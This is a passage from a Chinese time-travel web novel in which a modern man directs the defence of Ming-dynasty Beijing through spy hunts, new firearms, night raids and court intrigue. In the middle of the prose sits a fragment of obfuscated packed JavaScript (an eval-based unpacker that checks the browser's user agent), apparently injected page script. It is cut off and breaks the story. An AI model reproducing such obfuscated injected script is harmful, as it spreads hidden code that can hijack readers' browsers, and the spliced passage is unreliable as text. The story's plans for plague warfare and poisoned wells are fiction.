门开一条缝,露出一张枯瘦的老脸。老人看到李炎身后的亲兵,眼中闪过警惕。 “我找‘夜不收’。”李炎亮出锦衣卫腰牌——这是王承恩临时给他的。 老人沉默片刻,侧身让路。 院内别有洞天。穿过狭窄前院,后面竟是一座三层小楼,每层都有黑衣人把守。李炎被引至顶层,房间内陈设简陋,只有一个中年文士在灯下看书。 文士抬头,面容普通,属于扔进人堆就找不出的那种。但李炎注意到他的手——虎口、指节都有厚茧,这是长期握刀握铳留下的。 “锦衣卫北镇抚司百户,沈炼。”文士合上书,“不知李侍郎深夜来访,所为何事?” “抓老鼠。”李炎坐下,将乌鸦铁牌放在桌上,“满清的,还是闯王的?” 沈炼拿起铁牌,摩挲片刻:“手法像正白旗的‘乌鸦’,但配合纵火的……倒像是闯营‘夜不收’的做派。” “两股细作联手了?” “有可能。”沈炼起身,从书架后取出一卷档案,“三日前,我们的人在通州截获一队商旅,从他们身上搜出闯王给多尔衮的信。” 李炎一震:“李自成联络满清?” “内容不详,信使吞毒自尽了。”沈炼展开档案,“但据查,那商队中有一人是正白旗包衣,曾三次出入山海关。” 拼图逐渐完整。李自成强攻不下,便想借满清之力?或者……满清想坐收渔翁之利? “我要你办三件事。”李炎沉声道,“第一,肃清城内细作,宁可错杀,不可放过;第二,派精干人手出城,查明闯军兵力分布;第三,重点关注山海关方向,一有满清动向,立即回报。” 沈炼挑眉:“李侍郎,锦衣卫直属皇上,你虽有权节制,但……” “非常时期,当行非常之事。”李炎盯着他,“若北京城破,锦衣卫还有存在的必要吗?” 两人对视良久。窗外雨声渐急。 “需要多少人手?”沈炼最终问道。 “你手下能用的,全部。” “代价呢?” “事成之后,我保你锦衣卫指挥使之位。”李炎起身,“但若误事,我会亲手斩你。” 沈炼笑了,笑容里透着刀锋般的冷意:“成交。” --- 寅时,雨势稍歇。 李炎回到紫禁城,乾清宫灯火通明。崇祯披着大氅,在殿内来回踱步,见李炎进来,急步上前:“爱卿,城中情况如何?” “陛下放心,骚乱已平,擒杀细作十七人。”李炎躬身,“但臣有一事禀报。” 听完李自成可能勾结满清的推测,崇祯脸色煞白,跌坐在龙椅上:“他……他怎敢!引狼入室,此乃千古罪人!” “陛下,当务之急是稳住局面。”李炎冷静分析,“满清若真要入关,最快也要十日才能抵京。我们还有时间。” “十日……”崇祯苦笑,“粮草只够七日,军心已现不稳,如何撑过十日?” 殿外传来嘈杂声。王承恩匆匆入内,面色难看:“陛下,百官聚集午门外,要求……要求罢免李侍郎,开城议和。” 李炎心中一沉。该来的还是来了。 “放肆!”崇祯大怒,“城下之盟,奇耻大辱!朕宁可死社稷,绝不议和!” “陛下息怒。”李炎反倒平静,“臣愿与百官当面对质。” “不可!那些人……” “陛下,若不能服众,纵有守城良策也难以施行。”李炎拱手,“请准臣一试。” 崇祯看着这个比自己还年轻的臣子,眼中闪过一丝复杂情绪。良久,他缓缓点头:“朕与你同去。” --- 午门外,百官跪了一地。 为首的是内阁首辅魏藻德,这位五十五岁的老臣须发皆白,此刻却神情激动:“陛下!北京孤城,外无援兵,内无粮草,死守徒增伤亡啊!闯王有言,若开城投降,可保百官身家性命,保皇室血脉不绝……” “所以魏阁老是要朕做投降之君?”崇祯的声音从台阶上传来。 百官抬头,见皇帝与李炎并肩而立,顿时哗然。 “陛下!此獠妖言惑众,昨夜城中骚乱皆因其严刑峻法所致!”一个御史跳起来指着李炎,“臣请立斩此贼,以安民心!” 李炎走下台阶,来到魏藻德面前:“阁老说外无援兵,可知山东刘泽清、江北左良玉已率军北上?说内无粮草,可知内帑尚有存银,可向富户购粮?” 魏藻德冷笑:“刘泽清距京八百里,左良玉更在千里之外,远水怎救近火?至于富户购粮……李侍郎可知,京中大户存粮,十之八九已被闯军细作焚毁?” “那便向百姓借粮。”李炎朗声道,“凡借粮一石,战后还一石半。若城破,此债由新朝偿还。” “荒唐!百姓自己尚且不饱,何来余粮借你?” “那就减膳!”李炎转身,面向百官,“自今日起,宫中每日两餐,皇上与皇后同守此制。百官俸禄减半,省下的银两全部充作军费。我李炎在此立誓:城在人在,城破人亡!” 他的声音在广场上回荡。雨后的清晨,寒气逼人,但这话语却带着灼人的热量。 一些官员动容了。礼部侍郎吴麟征出列:“李侍郎,你真有把握守住?” “没有。”李炎实话实说,“但我有一法,可让闯军十日不敢攻城。” “何法?” “瘟疫。” 全场死寂。连崇祯都愣住了。 李炎继续道:“将病死的牲畜尸体,用投石机抛入敌营。再派死士潜入,在水源中投放污物。不需十日,闯军必生疫病,届时自会退兵。” “此计……有伤天和啊!”一个老臣颤声道。 “那阁老可有更好的法子?”李炎反问,“是眼睁睁看着城破,满城百姓遭屠戮,还是用此狠招退敌,保全数十万生灵?” 无人应答。 魏藻德死死盯着李炎:“你就不怕遗臭万年?” “若能让大明国祚延续,让百姓免遭战火,李炎一人之名声,何足道哉?”李炎笑了,笑容里有些悲凉,“诸位大人读圣贤书,当知‘民为重,社稷次之,君为轻’。今日,便是践行之时。” 他单膝跪地,面向崇祯:“臣请旨:一、开官仓放粮,稳定民心;二、组建民壮队,协助守城;三、施行焦土策略,城外三十里井水下毒、粮草焚毁,坚壁清野;四、遣使联络满清,许以重利,令其暂缓入关——哪怕只能拖延数日。” 崇祯闭上眼睛。再睁开时,眼中只剩决绝:“准奏。诸臣若有异议,可自去午门外叩阙。但若再言议和者……斩!” 天子剑出鞘半寸,寒光凛冽。 百官俯首。 --- 辰时,朝阳初升。 李炎站在德胜门城头,看着城外闯军大营炊烟袅袅。一夜骚乱,换来的是朝堂上的暂时统一,代价是更残酷的战术。 “大人,真要行瘟疫之计?”亲兵队长低声问。 “备而不用。”李炎淡淡道,“那是最后的底牌。现在,我们有更重要的事要做。” 他回到军器局。徐天工一夜未眠,眼睛布满血丝,但精神亢奋:“大人!按您给的图纸,我们试制出了‘崇祯二式’!” 那是一支更接近现代步枪的燧发枪。枪管加长,刻有简易膛线;瞄准具改进;最关键的,是采用了纸壳定装弹药——预先把火药和弹丸用油纸包好,装填速度提升一倍。 “试射。” 百步外的木靶,三发两中。在这个时代,已是惊人精度。 “日产多少?” “若全力赶工,日可产三十支。”徐天工犹豫道,“但熟手工匠不足,钢材也……” “征召全城铁匠、木匠,许以重赏。钢材不够,就熔了宫中的铜器铁器。”李炎毫不犹豫,“十日内,我要五百支新铳,五千发弹药。” “可是宫中器物……” “国都要亡了,还要那些摆设何用?”李炎拍了拍徐天工的肩膀,“徐师傅,我们现在每一刻都在和死神赛跑。闯军的下次进攻,不会太久。” 他走出工坊,迎面撞见沈炼。 “有消息了。”沈炼神色凝重,“闯军分兵五万,由刘宗敏率领,已攻占通州,截断漕运。另有一支三万人的偏师,正在挖掘地道,方向……直指德胜门。” 地道攻城。这是古代攻城战中最难防的一招。 “还有。”沈炼压低声音,“山海关方面,吴三桂已接到勤王诏令,但按兵不动。而满清摄政王多尔衮,亲率八旗精锐六万,已于三日前从盛京出发。” 双线压力。李炎感到太阳穴突突直跳。 “多尔衮到哪儿了?” “最新探报,已过宁远,最迟七日内可抵山海关。”沈炼顿了顿,“李侍郎,若吴三桂开关降清……” “那北京就真的守不住了。”李炎望向东北方向,那里是山海关所在,“但我们还有机会。吴三桂此人,重利而多疑。只要让他看到北京能守住,看到大明还有希望,他就不会轻易投降。” “如何让他看到?” “打一场胜仗,一场足以震动天下的大胜仗。”李炎眼中燃起火焰,“沈百户,我需要你派最精干的人,混出城去,给吴三桂送一封信。” “什么内容?” “告诉他,北京城内有新式火器,可破满清铁骑。告诉他,皇上已下诏,凡勤王有功者,封侯拜将,世袭罔替。再告诉他……”李炎一字一句,“若他降清,必遗臭万年;若他勤王,便是中兴第一功臣。” 沈炼思索片刻:“他未必会信。” “所以需要筹码。”李炎从怀中取出一物——那是一枚手雷,“把这个一并送去。告诉他,此物京城尚有数千。再告诉他,满清入关,第一个要削的就是他吴家的兵权。” 恩威并施,利弊俱陈。这是李炎唯一能做的。 沈炼接过手雷,郑重收好:“我亲自去。” “小心。” “若我回不来……”沈炼难得笑了笑,“李侍郎,记得你许诺的指挥使之位。” “一定。” 目送沈炼离去,李炎深吸一口气。回到城防图前,他开始标记地道可能的方向。必须在闯军挖通之前,找到并摧毁它。 “大人!”一个年轻工匠气喘吁吁跑来,“您要的东西做出来了!” 李炎眼睛一亮:“带我去看。” 军器局后院,摆着一个奇怪的装置:木制框架,配重锤,抛射杆,还有校准刻度。这是简易版的扭力投石机,专门用于投掷李炎设计的“瘟疫包”。 但李炎现在有了新想法。 “改装它。”他指着图纸,“我要它能投掷火药包,精确到五十步内。” “这……恐怕需要时间。” “我们没有时间。”李炎斩钉截铁,“今夜子时前,我要看到三台能用的。” 工匠们面面相觑,最终还是咬牙应下。 离开军器局,李炎登上城墙。守军士兵正在修补垛口,搬运箭矢。一个年轻士兵看到他,突然跪地:“李大人,我们能守住吗?” 周围的士兵都看过来,眼中是同样的疑问。 李炎扶起他,环视众人:“弟兄们,我知道你们怕。我也怕。但怕没有用。闯贼要破城,要抢我们的粮食,杀我们的家人。满清要入关,要让我们剃发易服,做亡国之奴。” 他提高声音:“我们身后,是父母妻儿,是祖宗祠堂,是大明三百年江山!今日我们若退一步,子孙后代就要退一万步!你们告诉我,我们能退吗?” “不能!”有人喊道。 “对,不能!”李炎拔出佩剑,剑指苍穹,“今日,我李炎在此立誓:与北京共存亡,与诸位同生死!城在人在,城破人亡!” “城在人在,城破人亡!”呼声从德胜门蔓延开去,传遍整段城墙。 士气,在这一刻重新点燃。 --- 申时,阴云再聚。 李炎在临时指挥所内研究地图时,王承恩匆匆而来,面色古怪:“李侍郎,有个人要见你。” “谁?” “原司礼监秉笔太监,曹化淳。” 李炎手一顿。曹化淳,崇祯初年的权阉,后因罪罢黜,闲居京城。此人城府极深,且……历史上在李自成破城时,疑似开城门迎贼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有些事,必须亲自做。”李炎望向窗外,天色渐暗,“去准备吧。还有,把新制的毒烟弹带上二十枚。” --- 亥时,暴雨再临。 李炎带着五十名死士,从武英殿后的枯井进入暗道。通道狭窄,仅容一人躬身通过,石壁上渗着水珠,空气浑浊。 走了约半个时辰,前方出现光亮。出口果然在一座破庙的佛像后。 李炎探头观察。庙外雨幕重重,百步外有闯军岗哨的火光。他打了个手势,死士们鱼贯而出,潜入雨中。 根据沈炼的情报,闯军地道入口在西北方向两里处的树林中。众人匍匐前进,雨水掩盖了声响。 子夜时分,他们找到了目标——树林深处,数十个闯军士兵正在挖掘,洞口用油布遮挡,外面有百人守卫。 “大人,硬冲吗?”死士队长低声问。 李炎摇头,指了指上风处。众人会意,悄悄绕到上风头,取出毒烟弹——这是改良版,添加了曼陀罗花粉,能致人昏厥。 “投!” 二十枚毒烟弹划破雨幕,落入敌阵。刺鼻烟雾弥漫,守卫士兵纷纷倒地。挖土的士兵听到动静探头,也被烟雾笼罩。 “上!” 死士们冲出,刀光闪动,迅速解决残余敌人。李炎带人冲入地道口,里面深不见底,已挖了至少三十丈。 “放炸药。”他下令。 死士们将随身携带的火药包堆在地道关键支撑点。这些火药掺了铁钉碎瓷,爆炸后坍塌效果更强。 “撤!” 众人原路返回。刚出树林,身后传来闷响——不是爆炸声,而是坍塌声。地道被成功炸毁。 但就在这时,四周亮起火把。 “中计了!”死士队长惊呼。 数百闯军从四面八方围上来。为首的是个独眼将领,狞笑道:“李侍郎,恭候多时了。我家大王料定你会来破坏地道,特命某在此等候。” 李炎心一沉。沈炼的情报是陷阱,或者……沈炼已经暴露? “放下武器,可留全尸。”独眼将领举起刀。 五十对五百,绝无胜算。 李炎缓缓拔剑,忽然笑了:“你知道我为什么敢来吗?” “嗯?” “因为我知道,你们内部……也有想杀李自成的人。” 话音未落,闯军阵中突然大乱。一队黑衣人从后方杀出,直取独眼将领。为首之人,正是沈炼! “沈百户!” “侍郎快走!”沈炼浑身浴血,显然经历苦战,“这里有埋伏,快撤回城!” 李炎咬牙:“一起走!” “我断后!”沈炼一□□穿独眼将领喉咙,“记住你的承诺!” 他带着仅剩的十余名手下,死死挡住追兵。李炎在死士护卫下且战且退,退回破庙暗道。 最后一刻,他回头看了一眼。沈炼的身影在火海中摇晃,最终被吞没。 暗道关闭时,李炎听到外面传来沈炼最后的吼声:“大明万岁!” --- 寅时,李炎回到紫禁城。 五十死士,回来了二十三人。带回来的,除了沈炼用命换来的情报,还有独眼将领身上搜出的一封信。 信是牛金星写给多尔衮的,内容触目惊心:李自成愿割让山海关以北,换满清助其攻破北京,事后平分天下。 “好一个平分天下……”崇祯看完信,手在颤抖,“这些逆贼,这些逆贼!” “陛下,现在不是愤怒的时候。”李炎虽然疲惫,但头脑清醒,“这封信证明,李自成与满清确有勾结。但也暴露了他们的矛盾——李自成不想让满清独占中原。” “爱卿的意思是……” “我们可以利用这点。”李炎眼中闪过冷光,“伪造李自成给多尔衮的信,内容改成李自成假意合作,实则想在破城后联合明军反攻满清。再伪造多尔衮给李自成的回信,声称已识破诡计,将先灭闯营,再取北京。” “反间计?”王承恩眼睛一亮。 “不止。”李炎继续道,“将真信、假信都抄录多份,派人散布于两军之中。李自成多疑,多尔衮谨慎,必生嫌隙。只要他们互相猜忌,我们就有喘息之机。” 崇祯沉思良久:“需要多久?” “三日。三日内,闯军会因地道被毁而暂缓进攻,满清也会因猜忌而观望。这三日,就是我们最后的机会。” “什么机会?” “练兵,造械,筹粮。”李炎一字一句,“以及……发动百姓。” 他走到窗前,东方已露鱼肚白。雨停了,但乌云未散,更大的风暴还在酝酿。 “陛下,请准臣在京城实行军管。凡十六岁以上、五十岁以下男子,皆需接受训练;凡大户存粮,按市价征购;凡商铺工坊,全力生产军需。” “百官若有反对……” “臣有尚方宝剑。”李炎转身,眼中血丝密布,但目光如炬,“非常时期,当用非常手段。一切罪责,臣一人承担。” 崇祯看着这个比自己还年轻的臣子,忽然起身,解下腰间玉佩:“此乃太祖所传,见之如朕亲临。李炎接旨:朕封你为‘总督京师军务,节制天下勤王兵马’,赐王命旗牌,有临机专断之权!” 这是前所未有的信任,也是前所未有的重担。 李炎双手接过玉佩,单膝跪地:“臣……万死不辞!” 走出乾清宫时,天已大亮。 北京城在晨光中苏醒,炊烟袅袅,市井声渐起。百姓们还不知道,昨夜城外发生了怎样的厮杀,也不知道,更大的危机正在逼近。 但李炎知道。 他握紧手中玉佩,望向东北方向。那里,山海关的烽火即将点燃;那里,两个王朝的命运即将碰撞。 而他,这个来自四百年后的穿越者,将用自己的一切,为这个古老的文明,搏一个不一样的未来。 哪怕前路荆棘,哪怕血染征衣。 “来人。”他沉声道,“传令全城:即日起,实行战时体制。凡大明子民,皆需为守城出力。我们还有三天时间——” “三天后,决一死战。” 4. 三日烽火 晨钟敲响卯时,北京城在战时体制下苏醒。 德胜门城楼前的广场上,三千名新征召的民壮列队而立。他们多是城里商户、工匠、甚至是书生,此刻握着粗制滥造的长矛,脸上混杂着恐惧与茫然。李炎站在临时搭起的高台上,目光扫过这些未来的守城者。 “诸位乡亲父老。”他的声音通过铜皮喇叭传开,“闯贼要破的,不只是皇城,是咱们的家园!他们破城后会做什么?史可鉴:张献忠破襄阳,屠城三日;李自成破洛阳,王府之外,百姓何辜?” 人群骚动。这些消息早已在城中流传,但由朝廷大员亲口说出,分量不同。 “我知道你们怕。”李炎话锋一转,“我也怕。但怕有用吗?今日你们放下武器,明日贼人就会闯进你们家门,抢走粮食,凌辱妻女,砍杀父母!你们愿意吗?” “不愿意!”前排一个铁匠吼道。 “对,不愿意!”声浪渐起。 李炎抬手压下喧哗:“从今日起,你们不再是平民,是守城兵!每日口粮加倍,杀敌有赏,受伤有抚恤,战死……我李炎以人格担保,必厚恤家眷!” 他走下高台,来到一个少年面前。少年最多十六岁,握矛的手在颤抖。 “叫什么名字?家里做什么的?” “回、回大人……小的赵石头,家父是东城木匠,前日被流矢……” 少年眼圈红了。李炎拍拍他的肩膀:“想报仇吗?” “想!” “好!”李炎转身对所有人说,“看到没有?这就是我们守城的理由!不为皇上,不为朝廷,为的是父母妻儿,为的是血仇必报!” 士气在仇恨与生存本能中被点燃。李炎命老兵带队训练最基础的阵列和刺杀,自己则赶往下一个地点。 --- 西苑军器局,炉火昼夜不息。 徐天工满脸烟灰,正指挥工匠们组装新式火炮。那是根据李炎提供的“拿破仑炮”图纸改良的青铜炮,口径三寸,炮身刻有散热环,配带轮炮架,可快速移动。 “大人,试制了四门,炸膛一门,成功三门。”徐天工声音嘶哑,“最远射程八百步,精度尚可。” 李炎抚摸着还温热的炮身:“量产需要多久?” “若材料充足,日可产两门。”徐天工苦笑,“但铜料已尽,工匠们也到了极限,昨夜累倒三人……” “铜料我去想办法。”李炎沉思片刻,“工匠分三班,轮流歇息。凡累倒者,赏银五两,派医官诊治。” 他走出工棚,迎面撞见曹化淳。老太监身后跟着十几个小太监,抬着五口沉甸甸的大箱。 “李侍郎,老奴把宫里铜器都收来了。”曹化淳掀开箱盖,里面是各式铜灯、铜鼎、铜佛像,“连慈宁宫的铜熏炉都拆了,太后娘娘起初不允,老奴说是皇上旨意,这才……” 李炎心中一动。这老太监办事果然狠辣。 “曹公公有心了。”他命人清点,“全部熔了铸炮。另外,宫内铁器、铅锡器也一并收集。” “铁器尚可,铅锡……”曹化淳犹豫,“多是祭祀礼器,恐有不祥。” “国都要亡了,还管什么祥不祥?”李炎摆手,“去办吧,就说是我说的,一切罪责我担。” 曹化淳领命而去。李炎看着他佝偻的背影,心中警惕未消——此人太主动,必有所图。 午时,李炎回到兵部衙门。这里已改成战时指挥中枢,墙上挂满地图,二十余名书吏正在整理各路情报。王承恩迎上来,神色焦虑。 “李侍郎,通州陷落了。” 李炎手一顿:“守将呢?” “总兵张缙彦……降了。”王承恩声音低沉,“他还写信劝降京城旧部,信已被锦衣卫截获。” “信在哪儿?” 王承恩递上密函。李炎快速浏览,信中极尽威逼利诱之能,声称闯王已许诺,凡投降将领皆可保留原职,负隅顽抗者破城后诛九族。 “送信人何在?” “已扣押。” 李炎沉思片刻:“让他送信进城。” “什么?” “将计就计。”李炎眼中闪过寒光,“你去找几个死囚,扮成军中将领,假装与张缙彦联络。再‘无意’让细作看到他们密会。我要李自成以为,京城守军即将内讧。” 王承恩恍然:“反间计!” “双管齐下。”李炎铺开地图,“同时,我们要真的打一场胜仗,一场足以震慑内鬼、鼓舞军心的大胜仗。” 他的手指点在西直门外:“闯军粮草大营在此,守军约三千。今夜,我要端了它。” --- 申时,武英殿偏殿。 李炎向崇祯汇报作战计划。年轻的皇帝听完,沉默良久。 “爱卿要亲自去?” “必须去。”李炎解释,“新式火炮首次实战,需我现场指挥。且突袭战风险极大,主将若不在前线,将士难有死战之心。” 崇祯起身踱步。窗外暮色渐浓,殿内烛火摇曳,在他脸上投下深深阴影。 “朕昨夜梦见太祖皇帝。”他忽然说,“太祖问朕:大明江山,何以至此?朕无言以对。醒来后,朕想明白了——非天亡大明,是人祸,是党争,是腐败,是这二百年来积重难返的沉疴。” 他转身看向李炎:“爱卿,若此战得胜,朕许你改革之权。军制、税赋、吏治……你想改什么,朕都准。” 这是比尚方宝剑更重的承诺。李炎单膝跪地:“臣必竭尽全力。” “但若败了……”崇祯扶起他,眼中竟有泪光,“答应朕,无论如何,保太子南下。大明……不能绝嗣。” 李炎心头震动。这一刻的崇祯,不再是刚愎自用的君王,只是一个想要保住血脉的父亲。 “臣,遵旨。” --- 戌时,德胜门悄然开启。 李炎亲率一千精兵出城。这支队伍装备了新式燧发枪五十支,轻便火炮三门,还有二百名背负炸药包的死士。为隐蔽行踪,所有人马衔枚,蹄裹布,借着夜色掩护,沿城墙阴影向西移动。 二更时分,抵达预定地点——西直门外五里的一片密林。从这里可以望见闯军粮草大营的灯火,营寨依河而建,外围有木栅,四角有望楼。 “大人,守卫比预想的森严。”斥候回报,“巡逻队每半刻钟一巡,栅栏外还有陷坑。” 李炎用夜视仪观察——电池只剩18%,但足够看清布防。营寨西北角相对薄弱,且靠近河道,可利用水声掩盖动静。 “分三队。”他低声部署,“一队由我率领,从西北角潜入,焚毁粮草;二队埋伏在东南侧树林,待营中火起,佯攻吸引守军;三队携带火炮,占领制高点,阻击援军。” “若遇大队敌军……” “不求全歼,只求烧粮。”李炎强调,“得手后按预定路线撤退,不可恋战。” 子时,行动开始。 李炎带三百人匍匐前进。接近栅栏时,他示意停步——前方地面颜色有异,是陷坑。两名工兵上前,用长杆探路,果然发现三处深坑,坑底插有削尖的木桩。 “绕过去。” 他们改道从河边接近。河水哗哗,掩盖了脚步声。栅栏在此处有一段腐朽,工兵用锯条悄无声息地锯开缺口。 “进。” 士兵们鱼贯而入。粮草大营内,数十座帐篷堆满粮袋,中央空地上还拴着百余匹战马。巡逻队刚刚走过,下一轮要等半刻钟。 李炎打手势:分散放火。 士兵们取出火折子和火油罐。但就在此时,异变突生—— “敌袭!!!” 一声尖啸划破夜空。望楼上,一个哨兵不知何时醒来,敲响了警锣。 “被发现了!快放火!” 士兵们顾不得隐蔽,将火油泼向粮垛,火折子一扔,火焰腾起。但营中守军反应极快,不过数十息,已有数百人从帐篷中冲出。 “撤!”李炎果断下令。 众人从原路退出,但缺口处已被闻讯赶来的守军堵住。箭矢如雨射来,当即有十余人倒下。 “用手雷开路!” 三枚手雷掷出,爆炸声中,木栅被炸开更大缺口。李炎带队冲出,迎面却撞上一支骑兵——正是巡逻队折返。 狭路相逢。 “列阵!燧发枪准备!” 五十名火枪手迅速排成三列。李炎亲自指挥:“第一列,放!” “砰砰砰……”白烟弥漫,冲在前面的骑兵人仰马翻。 “第二列,放!” 三轮齐射,骑兵队形大乱。但后续闯军如潮水般涌来,至少有两千人。 “大人,援军到了!”亲兵指着东南方向——那里火光冲天,佯攻部队已经动手。 “向东南撤退,与二队会合!” 边打边撤,燧发枪的射程优势得以发挥。闯军追兵在百步外不断倒下,但人数差距太大,距离在逐渐缩短。 就在此时,高处传来炮响。 “轰轰轰——” 三门火炮开火,实心铁弹落入追兵密集处,犁出一道道血路。炮弹过后是霰弹,铁珠如暴雨覆盖,追兵攻势为之一滞。 “好!”李炎精神一振,“快撤!” 三队在制高点掩护,一、二队交替撤退。闯军虽众,但在火炮压制下不敢紧追,眼睁睁看着明军消失在夜色中。 --- 寅时,李炎率部返回城中。 一千人出城,回来了七百余,伤亡近三成。但战果辉煌:焚毁粮草大营七成存粮,缴获战马三十匹,斩杀闯军约八百人,而最重要的是—— “大人请看。”亲兵呈上一面烧焦的旗帜。 那是闯军中军旗,本不该出现在粮草大营。旗上还系着一枚玉符,刻有“永昌”二字——李自成称帝后的年号。 “李自成的御用之物?”李炎皱眉。 “俘虏交代,刘宗敏昨夜巡查粮营,将此旗暂存营中,说是要鼓舞士气。”亲兵兴奋道,“大人,咱们差点逮到大鱼!” 李炎却心中一沉。太巧了,巧得不像真的。 他命人严审俘虏,自己则盯着那面旗帜沉思。忽然,他注意到旗杆顶端有处不自然的凸起,用力一拧,竟拧下一个小铜管。 铜管内有张纸条,只有一行字: “三日,子时,阜成门。” 陷阱。这是故意让他们劫走的信物,目的就是传递假情报。 李炎立即召集将领:“闯军想让我们以为,三日后他们会主攻阜成门。但真正的攻击方向,很可能是别的城门,甚至……是多点同时进攻。” “那这三日期限……” “可能是真的。”李炎铺开地图,“李自成需要时间重新调配兵力,也需要时间等满清的反应。这三天,就是他给我们,也是给他自己的缓冲期。” 他抬头看向众人:“所以这三天,就是我们最后的机会。不是守城的机会,是——主动出击的机会。” 满堂皆惊。 “大人,我们兵力不足啊!” “正因为兵力不足,才要出其不意。”李炎的手指在地图上移动,“闯军新败,粮草被焚,士气受挫。他们料定我们会死守,我们就偏要打出去。” 他画出三条出击路线:“第一路,佯攻通州,牵制刘宗敏部;第二路,夜袭卢沟桥,断其退路;第三路……直取李自成中军。” “这太冒险了!” “守城更是等死。”李炎冷静分析,“我军新式火器,最适合野战发挥射程优势。而闯军多为步兵,骑兵不足,只要我们机动灵活,完全可以在运动中消耗他们。” 他顿了顿:“当然,这不是决战,是袭扰。打得过就打,打不过就走。目的只有一个:让李自成不敢全力攻城,为我们争取更多时间。” “等什么?” “等两样东西。”李炎望向东北方向,“一样是山海关的吴三桂,一样是……江南的粮草。” 他展开另一份文书:“今早收到密报,南京兵部尚书史可法已筹集粮草三十万石,正沿运河北上。只要我们能再撑半个月,援军和粮草都能到。” 希望虽然渺茫,但总比没有强。 众将交换眼神,最终齐声:“末将愿往!” --- 卯时,天将破晓。 李炎回到住处,终于能卸下盔甲。左臂伤口因剧烈活动而崩裂,血迹渗透绷带。军医重新上药时,他咬着布巾,冷汗涔涔。 “大人,您需要休息。”军医忍不住说。 “等打完这一仗。”李炎苦笑,“对了,伤兵营情况如何?” “新到的金疮药效果很好,死亡率降了三成。但消炎药材快用完了,尤其是大蒜素……” 大蒜素是李炎用土法提取的抗菌剂,虽然纯度不高,但在这个时代已是神药。 “让户部去民间收购大蒜,有多少要多少。”他顿了顿,“还有,让太医署把所有医官派到各城门,就地诊治伤员。” 军医领命而去。李炎靠在椅背上,闭目养神。但脑子停不下来,各种思绪纷至沓来:火炮产量、火药配比、士兵训练、细作清查、朝廷党争…… “大人。”门外传来轻柔女声。 李炎睁眼,看到一个宫女端着食盒站在门口。她约莫二十岁,容貌清秀,眼神清澈。 “你是?” “奴婢春梅,奉王公公之命,给大人送膳。”宫女低头,“王公公说,大人已一日夜未进食了。” 食盒里是简单的米粥和咸菜,但热气腾腾。李炎确实饿了,接过碗筷:“替我谢谢王公公。” 春梅却没有走,欲言又止。 “还有事?” “大人……”春梅忽然跪下,“奴婢有个弟弟在城外闯军营中,是被掳去的。奴婢想求大人,若、若有机会……” 李炎放下碗:“你弟弟叫什么?多大年纪?” “赵铁柱,今年十七,左耳后有块胎记。”春梅泣声道,“他是去通州卖柴时被掳的,爹娘为此哭瞎了眼……” 乱世之中,这样的悲剧何其多。 “我记下了。”李炎扶起她,“若能救,我一定救。但你也要做好准备,战争残酷,他可能已经……” “奴婢明白。”春梅擦泪,“只要大人肯记着,奴婢就感激不尽。” 她退下后,李炎食不知味。这个时代每个人都有自己的故事,每个人的命运都如风中残烛。他要拯救的,不只是王朝,是千千万万个这样的家庭。 可是,做得到吗? 他走到窗边,东方天际泛起鱼肚白。新的一天,新的战斗。而这样的日子,还要持续多久? “大人!”亲兵队长匆匆而来,“曹化淳曹公公求见,说有要事。” 李炎皱眉:“让他进来。” 曹化淳这回没带随从,独自一人,神色凝重:“李侍郎,老奴查到一事,事关重大。” “公公请讲。” “宫中有人与闯军暗通。”曹化淳压低声音,“昨夜子时,老奴亲眼看见,司设监少监王安,在御花园假山后放飞信鸽。” 司设监掌管宫中器物,王安此人李炎有印象——四十余岁,平时沉默寡言。 “信鸽飞往何处?” “老奴已命锦衣卫追踪,应在阜成门外被截获。”曹化淳取出一小卷纸条,“这是抄录的内容。” 纸条上只有八个字:“三日后,武英殿,亥时。” 武英殿是李炎现在的住处。 “他们要刺杀我?”李炎冷笑。 “恐怕不止。”曹化淳声音更低,“老奴还查到,王安与坤宁宫一位姓田的嬷嬷过从甚密,而那嬷嬷……是嘉定伯府出来的。” 嘉定伯周奎,崇祯岳父,当朝国丈。 李炎瞳孔收缩。历史上,北京城破前,周奎确实不肯捐饷,城破后迅速投降。但若说他要勾结闯军弑君…… “证据呢?” “老奴已派人监视嘉定伯府,今日进出之人,皆在掌控。”曹化淳道,“最迟今晚,必有收获。” 李炎盯着老太监:“曹公公为何如此卖力?” 曹化淳沉默良久,忽然撩起袍角——小腿上,一道狰狞刀疤从脚踝延伸到膝盖。 “崇祯元年,老奴因直言触怒魏忠贤,被罚廷杖一百,腿骨尽碎。是当时还是信王的皇上,暗中命太医救治,保下这条腿。”他放下袍角,眼神复杂,“老奴是阉人,但也是人,知道什么叫恩义。” 李炎信了七分。明末官场虽腐败,但确实有曹化淳这样复杂的人物——既可狠辣无情,也会念及旧恩。 “好,此事交由公公彻查。”他沉声道,“但切记,没有铁证前,不可打草惊蛇。尤其是……牵涉到国丈。” “老奴明白。” 曹化淳退下后,李炎在房中踱步。内忧外患,真是半点不假。他原本以为,只要挡住外敌就能争取时间改革,现在看来,内部的蛀虫可能比外敌更致命。 必须加快动作了。 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李炎自知失言,忙掩饰道:“在海外时见过抄本。先生书中所述农耕、冶炼、制器诸法,实乃经世致用之学。” 宋应星眼睛亮了。他一生致力于实学,却不受主流文人士大夫待见,如今竟遇知音。 “大人过誉。老朽那些粗浅见解,不过是工匠之技罢了。” “先生此言差矣。”李炎认真道,“国之根本,在农在工。若无工匠造器,何来强兵?若无农夫种粮,何来军饷?晚生正欲改革军器局,先生可否出山相助?” 宋应星捋须沉思,最终点头:“固所愿也,不敢请耳。” 有了这位技术大牛的加入,军器局如虎添翼。李炎当即任命他为总顾问,与徐天工共同主持技术革新。 --- 午时,李炎在兵部召开军议。 宋应星提出一项重要建议:“老朽观闯军攻城,多依赖云梯、冲车等器械。我们可在城头设置‘转射机’,发射带倒钩的火箭,专烧其器械。” “转射机?” “类似弩炮,但可旋转,覆盖角度大。”宋应星画出草图,“制作简单,两日可成百架。” 李炎大喜,立即下令赶制。 会上还确定了主动出击的方案:由年轻将领孙传庭(历史上他本该已战死,但李炎的介入改变了时间线)率两千骑兵,三日后佯攻通州;李炎亲率一千火枪手、五百炮兵,今夜再袭闯军营地,这次目标是摧毁他们的火炮阵地。 “太冒险了。”孙传庭反对,“大人身系全局,岂可再赴险地?” 